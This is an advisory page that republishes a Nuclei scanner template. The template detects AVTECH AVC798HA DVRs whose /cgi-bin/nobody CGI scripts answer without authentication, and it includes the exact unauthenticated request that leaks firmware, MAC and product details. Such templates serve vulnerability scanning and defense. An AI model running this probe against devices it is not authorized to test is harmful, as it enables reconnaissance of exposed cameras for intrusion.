avtech-dvr-exposure: AVTECH AVC798HA DVR - Information Exposure

2025-08-01 AVTECH AVC798HA DVR PoC Public

Description

AVTECH AVC798HA DVR is susceptible to information exposure. CGI scripts in the /cgi-bin/nobody directory can be accessed without authentication. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: avtech-dvr-exposure

info:
  name: AVTECH AVC798HA DVR - Information Exposure
  author: geeknik
  severity: low
  description: AVTECH AVC798HA DVR is susceptible to information exposure. CGI scripts in the /cgi-bin/nobody directory can be accessed without authentication. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - http://www.avtech.com.tw/
  metadata:
    max-request: 1
  tags: dvr,exposure,avtech,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nobody/Machine.cgi?action=get_capability"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Firmware.Version="
          - "MACAddress="
          - "Product.Type="
        condition: and
# digest: 4a0a00473045022100bcfed143dbdb639763a71500c14d03651dca8119c96a35a6573303e4f0ab3b8c022004176004591cf600b7839581eeca1d385fc751ee86d32ceb6724ee049274c8f8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposed-panels/avtech-dvr-exposure.yaml

References

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